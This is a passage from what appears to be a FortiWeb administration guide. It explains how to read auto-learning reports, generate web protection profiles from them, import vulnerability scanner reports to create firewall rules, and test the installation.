`/app/login.asp;jsessionid=xxx;p1=111;p2=123?p3=5555&p4=66aaaaa`

the web application may use dynamic URLs or unusual parameter separators, and require a URL interpreter for auto-learning to function normally. For details, see ["How to adapt auto-learning to dynamic URLs & unusual parameters"](#) on page 202.

You can change the display and content of data using the context menu. To do so, right-click the name of an item in the navigation tree, then select a pop-up menu option:

Refresh the Tree	Select to update the display in the navigation pane. If hosts or URLs have been discovered since you last loaded the auto-learning report web page, this will update the tree to reflect those new discoveries.
Filter the Tree	Select to show or hide HTTP sessions in the report by their HTTP request method and/or other attributes. A pop-up dialog appears.
Expand Current Node	Select to expand the item and all of its subitems. This option has no effect when right-clicking the name of the auto-learning profile.
Stop Learning	Select this option if you have determined that the item is a dynamic

URL. For details, see ["Pausing auto-learning for a URL"](#) on page 228.

If you have erroneously categorized the URL as dynamic, to resume learning, right-click the URL again and select **Start Learning**.

Clean Data

Select to remove auto-learning's statistical data for this item. This may be useful if either:

- You want to clear the data set to begin fresh for a new phase of auto-learning.
- You know that the inputs required by a specific URL have changed since you initially began learning about a website's parameters. This could happen when you upgrade a web application.
- The item was an instance of a dynamic URL, and you did not apply a matching URL interpreter, and therefore the data was corrupted.

See ["Removing old auto-learning data"](#) on page 246.

If you select [Filter the Tree](#) (page 230), a dialog appears.

Depending on its level in the navigation tree, an item may be either a server policy observing multiple hosts, a single host, a common part of a path contained in multiple URLs, or a single requested file. Depending on the part of the navigation tree that you select, the auto-learning report displays:

- Statistics specific to each requested URL
- Totals for a group of URLs with a common path
- Totals for all requested URLs on the host
- Totals for all requests on all hosts observed by the auto-learning profile

To show only specific nodes in the URL tree and hide the rest (that is, "filter"), select which attributes that a node or its subnode must satisfy in order to be included in the report's statistics.

For example, to include only statistics for parts of the URL tree pertaining to HTTP `POST` requests to Java server pages (JSP files), you would enter `.jsp` in the **Search** field under **URL** and enable **POST** under **HTTP Method**, disabling in order to filter out all other HTTP methods.



If auto-learning is using a URL interpreter to understand the structure of your application's URLs, search for the interpreted URL as it appears in the report's navigation tree, **not** the real URL as it appears in the HTTP request.


See also

- ["Removing old auto-learning data"](#) on page 246
- ["Using the report display pane"](#) on page 231

Using the report display pane

Tabs, statistics and charts appear on the report display (right-hand) pane. Their appearance varies depending on which level you selected in the navigation tree.

The report display pane contains several feature buttons above the report.




Refresh Click to update the report display to reflect statistics, if any, that have been gathered since you loaded the auto-learning report web page.

Generate Config Click to generate a web protection profile from the auto-learning profile. For details, see ["Generating a profile from auto-learning data"](#) on page 242.

Generate PDF Click to download a PDF copy of the report. A pop-up dialog appears. Type a file name for the PDF, then click **OK**.

Overview tab

The **Overview** tab provides a statistical summary for all sessions established with the host during the use of the auto-learning profile, or since its auto-learning data was last cleared, whichever is shorter. The contents and buttons of the **Overview** tab change depending on the level in the navigation tree.



Edit Protected Servers

Click to open a dialog where you can select or deselect IP addresses and/or domain names that will be members of the protected host names group for the generated profile.

This button appears only when you select the policy in the navigation pane.

Edit URL Page

Click to open a dialog where you can specify that the currently selected URL will be allowed, and whether it will be regarded as a start page for the generated profile. You can also select which action to take if there is a rule violation:

- **Alert & Deny**—Block the request (or reset the connection) and generate an alert email and/or log message.

You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "[Customizing error and authentication pages \(replacement messages\)](#)" on page 664.

- **Continue**—Continue by evaluating any subsequent rules defined in the web protection profile. If no other rules are violated, allow the request. If multiple rules are violated, a single request will generate multiple attack log messages and/or alert email. For details, see "[Sequence of scans](#)" on page 56.
- **Pass**—Allow the request. Do **not** generate an alert email and/or log message.

This button appears only when you select a URL in the navigation pane.

Hits Count

Click the link to go to the [Visits tab](#) (page 236).

This row appears in the **Item** column of the **Overview** table.

Attack Count

Click the link to go to the [Attacks tab](#) (page 233).


This row appears in the **Item** column of the **Overview** table.

Attacks tab

The **Attacks** tab provides statistics in both tabular and graphical format on HTTP sessions that contained one of the types of attacks that the web protection profile was configured to detect.



Sometimes, auto-learning reports may contain fewer attacks than you see in the FortiWeb appliance's attack logs. For details, see "[About the attack count](#)" on page 236.



Depending on the level of the item selected in the navigation pane, the **Action** and **Enable** columns may appear. Using these settings, you can override the FortiWeb's statistically suggested attack protection settings.

To display a pop-up list of an attack type's protection profile settings estimated from current auto-learning data, click the **Detail** icon. The dialog that appears may vary by the attack type. You can use it to manually override the estimated settings.

To override configuration suggested by auto-learning for a specific attack type

- From the drop-down list in the **Type** column, select either:

Recommended—Do **not** override the suggestion. FortiWeb automatically estimates whether enabling or disabling scans for each attack signature is appropriate, based upon auto-learning data. When you generate a protection profile, FortiWeb will use whichever setting is indicated by the current auto-learning data.

Custom—Override the suggestion. When you generate a protection profile, FortiWeb will use the setting indicated by you, not the current auto-learning data.

- If you selected **Custom** from **Type**, from each drop-down list in the **Custom** column, select one of these options:

On—Manually override the suggestion. In [Step 3](#) on page 235, select which attack prevention signatures to enable. Non-selected signatures will be disabled.

Off—Manually override the suggestion, and disable all attack prevention signatures for this type.



If the URL is not susceptible to a specific type of attack, select **Off** to improve performance.

Auto-learning report Attacks tab — Manually enabling attack signatures

Refresh Generate Config Generate PDF

Overview Attacks Visits

Attack Table

Name	Count	Percentage	Detail	Action	Type	Custom	Recommendation
Cross Site Scripting	1	4.5%		Alert & Deny	Recommended	On	On
Cross Site Scripting (Extended)	1	4.5%		Alert & Deny	Custom	Off	On
SQL Injection						On	On
SQL Injection (Extended)						On	On
Generic Attacks						On	On
Generic Attacks(Extended)						On	On
Trojans						On	On
Information Disclosure						On	On
Known Exploits						On	On
Credit Card Detection						On	On

Edit Cross Site Scripting (Extended) Protection

Signature ID	Count	Percentage	Status	Recommendation
020000063	1	100.0%	☒	On

3. In the row for each attack type where you have set the drop-down list to **Custom**, click the **Detail** icon.

A dialog appears which lists the individual attack signatures for that attack category.

4. For each signature that you want to manually enable, mark its **Status** check box.



You **must** mark the **Status** check box of every signature that you want to enable. Failure to select any signatures will effectively disable attack prevention, even though you have selected **On** from the **Enable** drop-down lists for the attack category.

5. Click **OK**.

6. From each drop-down list in the **Action** column, select one of the following options:

Alert—Accept the request and generate an alert email and/or log message.

Alert & Deny—Block the request (or reset the connection) and generate an alert email and/or log message. You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see ["Customizing error and authentication pages \(replacement messages\)"](#) on page 664.

Send HTTP Response—Block and reply to the client with an HTTP error message and generate an alert email and/or log message. You can customize the attack block page and HTTP error code that FortiWeb returns to the client. For details, see ["Customizing error and authentication pages \(replacement messages\)"](#) on page 664.

Redirect—Redirect the request to the URL that you specify in the protection profile and generate an alert email and/or log message. Also configure **Redirect URL** (page 269) and **Redirect URL With Reason** (page 269).

Period Block—Block subsequent requests from the client for a number of seconds. Also configure **Block Period** (page 508). See also "Monitoring currently blocked IPs" on page 735.

You can customize the web page that FortiWeb returns to the client with the HTTP status code. For details, see "Customizing error and authentication pages (replacement messages)" on page 664.



If FortiWeb is deployed behind a NAT load balancer, when using **Period Block**, you **must** also define an X-header that indicates the original client's IP. Failure to do so may cause FortiWeb to block **all** connections when it detects a violation of this type. For details, see "Defining your proxies, clients, & X-headers" on page 421.

About the attack count

Sometimes, auto-learning reports may contain fewer attacks than you see in the FortiWeb appliance's attack logs.


In some cases, the count is low because the attack was attempted, but was targeted towards a URL that did not actually exist on the server (that is, it resulted in an HTTP 404 `File Not Found` reply code). Because the URL did not exist, the auto-learning report does **not** include it in its tree of requested URLs. In other words, the attack was not counted in the report because it did not result in an actual page hit.

Visits tab

The **Visits** tab displays the following statistics:

- When a policy is selected in the navigation tree, bar chart information about the most and least-used URLs
- When a host is selected, tabular information on HTTP return codes in the 400 and 500 series
- When the policy or a host is selected, tabular information on the rate of file requests (hits) by IP address and content type

Buttons above the tables and charts allow you to edit the profile that auto-learning generates from the **Visits** tab statistics.



Edit Allow Method

Allows you to specify whether an HTTP request method is allowed in the generated profile using one of the following values:

- **On**—Enable the method in the generated profile.
- **Off**—Disable the method in the generated profile.
- **Default**—When you generate a protection profile, FortiWeb automatically determines whether to enable or disable the HTTP method in the profile based on current auto-learning data.

Available only when a policy is selected in the navigation tree.

Edit Exception Method

Allows you to specify whether an HTTP request method is an exception in the generated profile using one of the following values:

- **On**—Enable the method for the URL in the generated profile.
- **Off**—Disable the method for the URL in the generated profile.
- **Default**—When you generate a protection profile, FortiWeb automatically determines whether to enable or disable the HTTP method in the profile based on current auto-learning data. FortiWeb will use whichever setting is indicated by the current auto-learning data.

Available only when individual URL is selected in the navigation tree.

Edit URL Access

(In the **Most hit URL table and chart** section)

Click this button to open a dialog where you can select which pages will be included in a URL access rule whose **Action** is **Pass** (e.g., **allow** the request and do not generate an attack log message). To include the URL, click and drag it from the column named **Available** on the right into the column on the left, named **URL Access rules with action 'Pass'**.

Essentially, auto-learning's assumption in this case is that most page hits are legitimate, so that URLs that are frequently hit should be normally accessible.

This button appears only when you select the policy in the navigation pane.

Edit Start Page

Click this button to open a dialog where you can select which pages will be included in a URL access rule whose **Action** is **Pass** (i.e. allow the request and do not generate an attack log message). To include the URL, click and drag it from the column named **Available** on the right into the column on the left, named **URL Access rules with action 'Pass'**.

This button appears only when you select the policy in the navigation pane.

Edit URL Access

(In the **Least hit URL table and chart** section)

Click this button to open a dialog where you can select which pages will be included in a URL access rule whose **Action** is **Alert & Deny** (e.g., **block** the request and generate an alert email and/or attack log message). To include the URL, click and drag it from the column named **Available** on the right into the column on the left, named **URL Access rules with action 'Alert & Deny'**.

Essentially, auto-learning's assumption in this case is that most page hits are legitimate, so that URLs that are **not** frequently hit possibly could be a back door or other hidden URL, and therefore should **not** be accessible.

This button appears only when you select the policy in the navigation pane.

Edit URL Access

(In the **Suspicious URL table and chart** section)

Click this button to open a dialog where you can select which pages will be included in a URL access rule whose **Action** is **Alert & Deny** (e.g., **block** the request and generate an alert email and/or attack log message). To include the URL, click and drag it from the column named **Available** on the right into the column on the left, named **URL Access rules with action 'Alert & Deny'**.

Essentially, auto-learning's assumption in this case is that administrative URLs should not be accessible to the general public on the Internet, so that requests for these URLs could be a potential attack or scouting attempt, and should be blocked.

This button appears only when you select the policy in the navigation pane.

Edit Content Type

(In the **Most hit IP table** section)

Allows you to specify which content types FortiWeb includes in any Advanced Protection custom rule it generates using **Most hit IP table** data.

By default, the following content types are selected:

- application/soap+xml
- application/xml (or) text/xml
- text/html
- text/plain
- application/json

The custom rule FortiWeb generates is designed to detect and prevent web scraping (content scraping) activity.

For details, see "[Most hit IP table and web scraping detection](#)" on page 239.

Most hit IP table and web scraping detection

The **Most hit IP table** displays the data that FortiWeb uses to automatically generate Advanced Protection custom rules that target web scraping (also called content scraping, web harvesting, or web data extraction). Web scraping is an automated process for collecting information from the web. In many cases, web scraping is performed with the intention of re-using the content without authorization.

For efficiency, web scrapers scan websites quickly, which generates a file request rate that is noticeably higher than non-automated traffic. However, web scrapers also target dynamic website content, represented by content types such as XML, soap/XML, JSON, and text/plain, rather than static content like graphics files.

Therefore, for its web scraping custom rule data, FortiWeb collects statistics for both the rate of requests for files (hit rate) and the type of content requested. By creating a rule that accounts for the content type, FortiWeb can provide targeted protection against web scraping in addition to its DoS prevention features, which focus on rate alone.

The **Most hit IP table** displays the following information:

- The IP addresses that had the highest rate of requests for files (hit rate) during the auto-learning period
- Statistics on the types of content that clients requested

To determine the most-hit IP addresses, the auto-learning feature divides the auto-learning period into five-minute observation periods. It records the total number of hits that individual IP addresses receive during each five-minute period. The **Visits** tab displays information about the ten observation periods that had the highest number of hits, including the source IP address and details about the content types of files.

When you generate a profile using the auto-learning report, FortiWeb generates an Advanced Protection custom rule for each selected row in the **Most hit IP table**. (The first row is selected by default.) FortiWeb converts the

data in the row to a baseline maximum hit rate for a specific IP address and content type. When web scraping activity generates a higher hit rate, it triggers the rule action.

Each generated custom rule contains the following filters:

Content Type—Matches requests for files of the specified type.

By default, the following content types are selected:

- application/soap+xml
- application/xml (or) text/xml
- text/html
- text/plain
- application/json

Use **Edit Content Type** to customize the values that FortiWeb uses in the filter.

Occurrence—Matches requests for files that match the **Content Type** filter and exceed a threshold that FortiWeb calculates using the values found in the **Most hit IP table** item.

For example, **Most hit IP table** contains an item with the following values. The values represent hit statistics during an observation period that was among the top ten:

Source IP	Content type	Count	Percentage
10.200.0.1	text/html	44	81.48%
	unrecognized content-type	10	18.52%
	Total	54	100%

This item generates an Advanced Protection custom rule with a **Content Type** filter that matches text/html content (one of the default types) and an **Occurrence** filter with the following values:

Setting	Value	Description
Occurrence	44	The number of times clients requested this type of file from the source IP during this top-ten observation period. If the Most hit IP table has statistics for more than one of the selected content types, the value is the total count for all the content types.
Within	300	The length of the observation period. The auto-learning feature collects hits by source IP data using a 5-minute (300 second) observation period.
Enable Percentage Matching	Selected	Specifies that the filter matches when the number of hits of the specified content types, expressed as a percentage of the total number of hits, exceeds the value of Percentage of Hits .
Percentage of	81	The number of times clients requested the specified type

Setting	Value	Description
Hits		of file from the source IP, expressed as a percentage of the total number of hits for the source IP in the observation period. If the Most hit IP table has statistics for more than one of the selected content types, the value is the total of all content types.
Traced By	Source IP	Most hit IP table data is based on hits by source IP, although you can create an Occurrence filter based on User.

For details about Advanced Protection custom rules, see "[Combination access control & rate limiting](#)" on page 480.

Parameters tab

The **Parameters** tab provides tabular statistics on the parameters and their values as they appeared in HTTP requests, as well as any parameters that were extracted from the URL by a URL interpreter.

Refresh

Generate Config

Generate PDF

Overview	Attacks	Visits	Parameters	Cookies

Parameter Table

Name	Type	Type Match	Min. Length	Max. Length	Avg. Length	Required	Set	Custom
return	Unknown	100%	40	40	40	50%		
username	Email	100%	22	22	22	100%		
password	Level 1 Password	100%	8	8	8	100%		

<< < 1 > >>

Parameters from URL Replacers

Name	Type	Type Match	Min. Length	Max. Length	Avg. Length	Required

This tab appears only for items that are leaf nodes in the navigation tree; that is, they represent a **single complete URL** as it appeared in a real HTTP request, and therefore could have had those **exact associated parameters**.

The **Name** column contains the name of the parameter, exactly as it was observed in the parameter or (for parameters extracted by URL replacers) within the URL.



If the **Name** column contains part of a URL or the parameter's value instead of its name, verify the regular expression and back references used in your URL replacer.

Percentages in the **Type Match** and **Required** columns indicate how likely the parameter with that name is of that exact data type, and whether or not the web application requires that input for that URL. The **Min. Length** and **Max. Length** columns indicate the likely valid range of length for that input's value. The **Avg. Length** column indicates the average length for that input's value. Together, the columns provide information on what is likely the correct configuration of a profile for that URL.

For example, if **Max. Length** is 255 but **Min. Length** is 63 and **Avg. Length** is 64, before generating a protection profile, you may want to investigate to determine whether 255 is indeed an appropriate maximum input length, since it deviates so much from the norm. In this case, the intended minimum and maximum length might really be 63, but a single malicious observed input had a maximum length of 255.

By default, when you generate a protection profile from auto-learning data, FortiWeb will use these statistics to estimate appropriate input rules. However, if auto-learning suggestions are not appropriate, you can manually override these estimates by using the [Set](#) icon and [Custom](#) check box before generating a protection profile. For details, see ["Generating a profile from auto-learning data"](#) on page 242.

Cookies tab

The **Cookies** tab provides tabular statistics on the name, value, expiry date, and associated URL (path) of each cookie crumb that appeared in HTTP requests.

You can protect cookies that you see in this table using a cookie security policy. For details, see ["Protecting against cookie poisoning and other cookie-based attacks"](#) on page 501.

[Refresh](#) [Generate Config](#) [Generate PDF](#)

Overview	Attacks	Visits	Parameters	Cookies
Cookies Table				
ID	Name	Value	Expire	Path
0	APSCOKIE_4	0&0	Tue, 12-Dec-1961 15:34:21 GMT	/
1	opmode	0&0	Tue, 12-Dec-1961 15:34:21 GMT	/
2	JSESSIONID	887EC66873DB5F67BE2AFE7866FA37DB	Session	/login

<< < 1 > >>

This tab appears only for hosts that use cookies, and for items that are leaf nodes in the navigation tree; that is, they represent a **single complete URL** as it appeared in a real HTTP request, and therefore could have had those **exact cookies**.

See also

- ["Removing old auto-learning data"](#) on page 246
- ["Using the report navigation pane"](#) on page 230
- ["Configuring an auto-learning profile"](#) on page 225
- ["Generating a profile from auto-learning data"](#) on page 242

Generating a profile from auto-learning data

When viewing a report generated from auto-learning data, you can generate an inline protection profile or an Offline Protection profile suitable for the HTTP sessions observed. If some observed sessions are not indicative of typical traffic and you do not want to include elements in the generated profile, or you want to select an action other than the default for a type of observed attack, you can selectively change the action for that type of attack.

In addition to the generated profile itself, the FortiWeb appliance also generates all rules and other auxiliary configurations that the profile requires.

For example, FortiWeb observes HTTP `PUT` requests that require a password and a user name that is an email address. When it generates a profile, it also uses the data types and maximum lengths of the arguments observed in the HTTP sessions to generate the required parameter validation rules and input rules.

You can edit the generated profiles and auxiliary configurations or use them as the starting point for additional configuration.

To configure a profile using auto-learning data

1. Go to **Auto Learn > Auto Learn Report**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Autolearn Configuration** category. For details, see ["Permissions"](#) on page 85.


2. Mark the check box in the row that corresponds to the auto-learning profile whose data you want to view.

3. Click **View**.

The report appears.

4. Review the configuration suggestions from auto-learning.

If you want to adjust the behavior of the profile and components to generate, in the left-hand pane, click the (+) expand icon next to items to expand the tree, then click the name of the single URL whose protection you want to manually configure.



Buttons and drop-down lists in the report display pane may vary. For most URLs, they enable you to adjust the profile that FortiWeb generates.

Auto-learning suggests an appropriate configuration based upon the traffic that it observed. If a suggestion is not appropriate, you can manually override it.

Configure these settings:

Overview tab

Edit Protected Servers

Click to open a pop-up dialog. Enable or disable the IP addresses and/or domain names that will be members of the generated protected host names group. For details, see ["Defining your protected/allowed HTTP "Host:" header names"](#) on page 388.

This appears only if you have selected the name of the auto-learning

profile in the navigation pane.

Edit URL Page

Click to open a pop-up dialog. Enable or disable whether the currently selected URL will be included in start pages and white/black IP list rules in the generated profile. This appears only if you have selected a URL in the navigation pane.

For details about those rule types, see ["Specifying URLs allowed to initiate sessions"](#) on page 548 and ["Access control"](#) on page 475.

Attacks Tab

Action and Enable

Select from the **Enable** drop-down list to enable or disable detection of each type of attack, and select from **Action** which action that the generated profile will take. The availability of these lists varies with the level of the item selected in the navigation pane.

For details, see the actions in ["Configuring a protection profile for inline topologies"](#) on page 261 or ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270.

Visits Tab

Edit Allow Method

Click to open a pop-up dialog. Change the **Status** option to select which HTTP request methods to allow in the generated profile. This appears only if you have selected a profile in the navigation pane.

For details, see ["Configuring a protection profile for inline topologies"](#) on page 261 and ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270.

Edit URL Access

Click to open a pop-up dialog. This appears only if you have selected a profile in the navigation pane.

For details, see ["Access control"](#) on page 475.

Edit Start Page

Click to open a pop-up dialog. This appears only if you have selected a profile in the navigation pane.

For details, see ["Specifying allowed HTTP methods"](#) on page 564.

Edit Exception Method

Click to open a pop-up dialog. This appears only if you have selected a URL in the navigation pane.

For details, see ["Configuring allowed method exceptions"](#) on page 566.

Most hit IP table: Edit Content Type

Click to edit the values that FortiWeb adds to the Content Type filter in an automatically generated Advanced Protection custom rule. This rule is designed to detect web scraping (content scraping) activity.

Available only if a policy or host is selected in the navigation pane.

For details, see ["Most hit IP table and web scraping detection"](#) on page 239.

Most hit IP table: row selection button

Selects the data that FortiWeb uses to create an Occurrence filter in an Advanced Protection custom rule in the generated profile. This rule is designed to detect web scraping activity.

Available only if a policy or host is selected in the navigation pane.

For details, see ["Most hit IP table and web scraping detection"](#) on page 239.

Parameters tab**Set**

Type the data type and maximum length of the parameter, and indicate whether or not the parameter is required input. These settings will appear in the generated parameter validation rule and input rules. For details, see ["Validating parameters \("input rules"\)"](#) on page 553 and ["Preventing zero-day attacks"](#) on page 553.

Caution: Before you leave the page, mark the **Custom** check boxes for rows where you have clicked this icon. Failure to do so will cause FortiWeb appliance to discard your settings when you leave the page.

Custom

Before you click **Set** or leave the page, enable this option for each row whose manual settings you want to save.

5. Above the display pane, click **Generate Config**.

6. In **Profile Name**, type a name prefix, such as `generated-profile`.

The FortiWeb appliance adds a dash (-) to the profile name followed by a number indicating the year, month, day, and time on which the profile was generated in order to indicate the data on which the profile was based.

7. From **Profile Type**, select which type of web profile you want to generate, either **Inline** (to generate an inline protection profile) or **Offline** (to generate an Offline Protection profile).

8. Click **OK**.

The generated profile appears in either:

Policy > Web Protection Profile > the Inline Protection Profile tab. For details, see ["Configuring a protection profile for inline topologies"](#) on page 261.

Policy > Web Protection Profile > the Offline Protection Profile tab. For details, see ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270.



Adjust configuration items used by the generated profile, such as input rules, when necessary. Generated configuration items are based on auto-learning data current at the time that the profile is generated. **Data may have changed while you were reviewing the auto-learning report, and/or after you have generated the profiles.**

If you do not configure any settings, by default, the FortiWeb appliance generates a profile that allows the HTTP GET method and any other methods whose usage exceeded the threshold, and adds the remaining methods to an allowed method exception. It also creates start page rules and trusted IP rules for the most

commonly requested URLs, and blacklist IP addresses that commonly requested suspicious URLs. Attack signatures are disabled or exceptions added according to your configurations in [Server Protection Threshold](#) (page 226) and [Server Protection Exception Threshold](#) (page 226).

9. Continue with ["Transitioning out of the auto-learning phase"](#) on page 246.

Transitioning out of the auto-learning phase

As your web servers change, you may periodically want to run auto-learning for them on a smaller scale.

For example, perhaps you will install or update a web application or web server, resulting in new structures and different vulnerabilities.

However, for most daily use, auto-learning should be disabled and your protection profiles fully applied.

To transition to daily use

1. To apply a profile generated by auto-learning, select it in a [Web Protection Profile](#) (page 287) in a server policy. For details, see ["Configuring a server policy"](#) on page 277.
2. If, during auto-learning, any **Action** in the protection profile or its auxiliary components was set to **Alert & Deny** or **Alert & Erase**, verify that those same actions are applied in the protection profile that you generated from auto-learning data. Incomplete session data due to those actions may have caused auto-learning to be unable to detect those attack types.
3. If necessary, either:
 - Manually adjust the generated profile and its components to suit your security policy. For more serious violations, instead of setting **Action** to **Alert**, use a blocking or redirecting option such as **Alert & Deny**.
 - Run a second auto-learning phase to refine your configuration: select the newly generated protection profile in the [Web Protection Profile](#) (page 287), clear the previous phase's auto-learning data (see ["Removing old auto-learning data"](#) on page 246), then revisit ["Running auto-learning"](#) on page 227.
4. Modify the policy to select your newly generated profile in the [Web Protection Profile](#) (page 287).
5. To validate the configuration, test it. For details, see ["Testing your installation"](#) on page 252.
6. When you are done collecting auto-learning data and generating your configuration, to improve performance, **disable auto-learning by deselecting the auto-learning profile** in the [Auto Learn Profile](#) (page 288) in **all** server policies.
7. Disable [Monitor Mode](#) (page 288).

See also

- ["Configuring a protection profile for inline topologies"](#) on page 261
- ["Configuring a protection profile for an out-of-band topology or asynchronous mode of operation"](#) on page 270
- ["Viewing auto-learning reports"](#) on page 229

Removing old auto-learning data

There are many reasons why you may want to delete old auto-learning data.

- You want to free disk space and system resources.
- You installed different web applications on your web servers, and old auto-learning data, based upon the previous installations, no longer applies.
- You initiated auto-learning while its URL replacer was misconfigured, and old auto-learning data is malstructured, such as being split between many instances of a dynamic URL, or missing parameters.

You can delete old data. Reports and any profiles generated from the auto-learning profile will then include only subsequently gathered data.

To delete auto-learning data



Alternatively, you can remove auto-learning data by, when the auto-learning profile's report is open, right-clicking the node in the left-hand pane, then selecting **Clean Data**

1. Go to **Auto Learn > Auto Learn Report**.

To access this part of the web UI, your administrator's account access profile must have **Read** and **Write** permission to items in the **Autolearn Configuration** category. For details, see "[Permissions](#)" on page 85.

2. Either:

- To select **one or more** reports, mark the check box next to them.
- To select **all** reports, mark the check box in the check box column's heading.

3. Click **Clean Data**.

See also

- "[Viewing auto-learning reports](#)" on page 229
- "[Pausing auto-learning for a URL](#)" on page 228
- "[How to adapt auto-learning to dynamic URLs & unusual parameters](#)" on page 202

Generate protection profiles using a scanner report

You can use XML-format reports from third-party web vulnerability scanners to automatically generate FortiWeb protection profiles that contain rules and policies that are appropriate for your environment.

For example, if the scanner report detects an SQL injection vulnerability, FortiWeb can automatically create a custom access control rule that matches the appropriate URL, parameter, and signature. It adds the generated rule to either an existing protection profile or a new one.

You can generate rules for all vulnerabilities in the report when you import it. Alternatively, you can manually select which vulnerabilities to create rules for after you import the report. When you automatically create rules, you can select which ADOM to add the generated rules to.

Depending on the contents of the report, FortiWeb generates rules of the following types:

- Allow Method (see "[Specifying allowed HTTP methods](#)" on page 564)
- URL Access Rule (see "[Restricting access to specific URLs](#)" on page 475)
- HTTP Protocol Constraints (see "[HTTP/HTTPS protocol constraints](#)" on page 568)

- Signatures (see "[Blocking known attacks & data leaks](#)" on page 505)
- Custom Access Policy (see "[Combination access control & rate limiting](#)" on page 480)

WhiteHat Sentinel scanner requirements


To allow FortiWeb to generate rules using a WhiteHat Sentinel scanner report, ensure that the parameters "display_vulnerabilities" and "display_description" are enabled when you run the scan.

You can upload a WhiteHat Sentinel scanner report using either a report file you have downloaded manually or directly import the file from the WhiteHat portal using the RESTful API. Importing a scanner file from the WhiteHat portal requires the API key and application name that WhiteHat provides.


To retrieve the WhiteHat API key and application name

1. Go to the following location and log in:
<https://source.whitehatsec.com/summary.html#dashboard>
2. In the top right corner, click **My Profile**.
3. Click View My API Key and enter your password.

Your API key is displayed. For example:



4. To view the application name, navigate to the Assets tab. The application name is the NAME value. For example:



Telefónica FAAST scanner report requirements

You can upload a Telefónica FAAST scanner report using either a report file you have downloaded manually or directly import the file from the Telefónica FAAST portal using the RESTful API. Importing a scanner file from the Telefónica FAAST portal requires the API key that Telefónica FAAST provides. One Telefónica FAAST scanner account can apply for an API key.

To apply for a Telefónica FAAST API key

1. Go to the following location and log in:

https://cybersecurity.telefonica.com/vulnerabilities/es/api_docs

2. In the **session : Authentication** page, please select **POST > api/session** for the method, and fill in the blanks for **username** and **password**. Then click **Try it out**.

Parameter	Value	Description	Parameter Type	Data Type
username	(required)	Username	form	string
password	(required)	Password	form	string
locale		Locale	query	string

3. The API key will be given in the **Response Body** if the username and password are authorized.

sessions : Authentication Show/Hide List Operations Expand Operations Raw

POST **api/session** Login to get api_key

Parameters

Parameter	Value	Description	Parameter Type	Data Type
username	d-_____	Username	form	string
password	For_____	Password	form	string
locale	_____	Locale	query	string

[Try it out!](#) [Hide Response](#)

Request URL

https://cybersecurity.telefonica.com:443/vulnerabilities/api/session

Response Body

```
{
  "user": {
    "id": 1644,
    "name": "David Castillo",
    "email": "dcastillo@fortinet.com",
    "locale_id": "es",
    "api_key": "54143ce' "7ec"
  }
}
```

Response Code

201

Response Headers

HP WebInspect scanner report requirements

To generate rules from HP WebInspect, when you export the report, for the **Details** option, select either **Full** or **Vulnerabilities**.

To import a scanner report

1. Go to **Web Vulnerability Scan > Scanner Integration > Scanner Integration**.

A list of imported reports is displayed.

2. Click **Scanner File Import**.
3. Configure these settings:

Scanner Type

Select the type of scanner report you want to import.

Some types of reports have specific requirements. For details, see ["WhiteHat Sentinel scanner report requirements"](#) on page 248, ["Telefónica FAAST scanner report requirements"](#) on page 249 and ["HP WebInspect scanner report requirements"](#) on page 250.

Method	If Scanner Type is WhiteHat, specify whether to import an XML file you have downloaded manually or retrieve a report from the WhiteHat portal using the REST API. If Scanner Type is Telefonica FFAST, specify whether to import an XML file you have downloaded manually or retrieve a report from the Telefónica FFAST portal using the REST API.
API Key	If Scanner Type is WhiteHat and Method (page 251) is REST API, enter the API Key that WhiteHat provides. For details, see "WhiteHat Sentinel scanner report requirements" on page 248. If Scanner Type is Telefonica FFAST and Method (page 251) is REST API, enter the API Key that Telefónica FFAST provides. For details, see "WhiteHat Sentinel scanner report requirements" on page 248.
Application Name	If Scanner Type is WhiteHat and Method (page 251) is REST API, enter the application name that WhiteHat provides. For details, see "WhiteHat Sentinel scanner report requirements" on page 248.
Upload File	Allows you to navigate to and select a scanner report file to upload. Currently, you can upload XML-format files only.
Generate FortiWeb Rules Automatically	Specifies whether FortiWeb generates a corresponding rule for each reported vulnerability when it imports the scanner report.
ADOM Name	Select the ADOM that FortiWeb adds the generated rules to. Available only if Generate FortiWeb Rules Automatically (page 251) is enabled.
Profile Type	Specifies whether FortiWeb adds the generated rules to an inline or Offline Protection profile. Available only if Generate FortiWeb Rules Automatically (page 251) is enabled.
Merge the Report to Existing Rule	Specifies whether FortiWeb adds the generated rules to an existing protection profile or creates a new profile for them. Available only if Generate FortiWeb Rules Automatically (page 251) is enabled.
Rule Name	Specifies the name of the protection profile to add the generated rules to or the name of a new protection profile. Available only if Generate FortiWeb Rules Automatically (page 251) is enabled.
Action	Specifies the action that FortiWeb takes when it detects a vulnerability. You can specify different actions for high-, medium-, and low-level

vulnerabilities.

- **Alert**—Accept the request and generate an alert email and/or log message.

- **Deny**—Block the request (or reset the connection) and generate an alert email and/or log message.

Available only if [Generate FortiWeb Rules Automatically](#) (page 251) is enabled.

4. Click **OK**.

FortiWeb uploads the file and adds the report contents to the list of imported reports.

5. If you did not generate rules for all the vulnerabilities, you can create rules for individual vulnerabilities. Select one or more of them, click **Mitigate**, and then complete the settings in the dialog box.

6. Use the link in the Profile Name column to view the protection profile that contains a generated rule or policy. The link in the Rule Name column allows you to view the settings for that item.

7. To remove individual rules but preserve the corresponding vulnerability items in the list, select one or more vulnerabilities, and then click **Cancel**.

You can use the **Mitigate** option to re-create the rule later, if needed.

8. To delete the imported report or an individual vulnerability, select the item to delete, and then click **Delete**.

FortiWeb prompts you to confirm that you want to delete any rules that are associated with the item.

FortiWeb does not delete the protection profile that contains the rules.

Testing your installation


When the configuration is complete, test it by forming connections between legitimate clients and servers at various points within your network topology.



In Offline Protection mode and Transparent Inspection mode, if your web server applies SSL and you need to support Google Chrome browsers, you must disable Diffie-Hellman key exchanges on the web server. These sessions cannot be inspected.

Examine the **HTTP Throughput** widget on **System > Status > Status**. If there is no traffic, you have a problem. For details, see "[Connectivity issues](#)" on page 789.

HTTP Throughput



If a connection fails, you can use tools included in the firmware to determine whether the problem is local to the appliance or elsewhere on the network. Also revisit troubleshooting recommendations included with each feature's instructions. For details, see ["Troubleshooting"](#) on page 756.



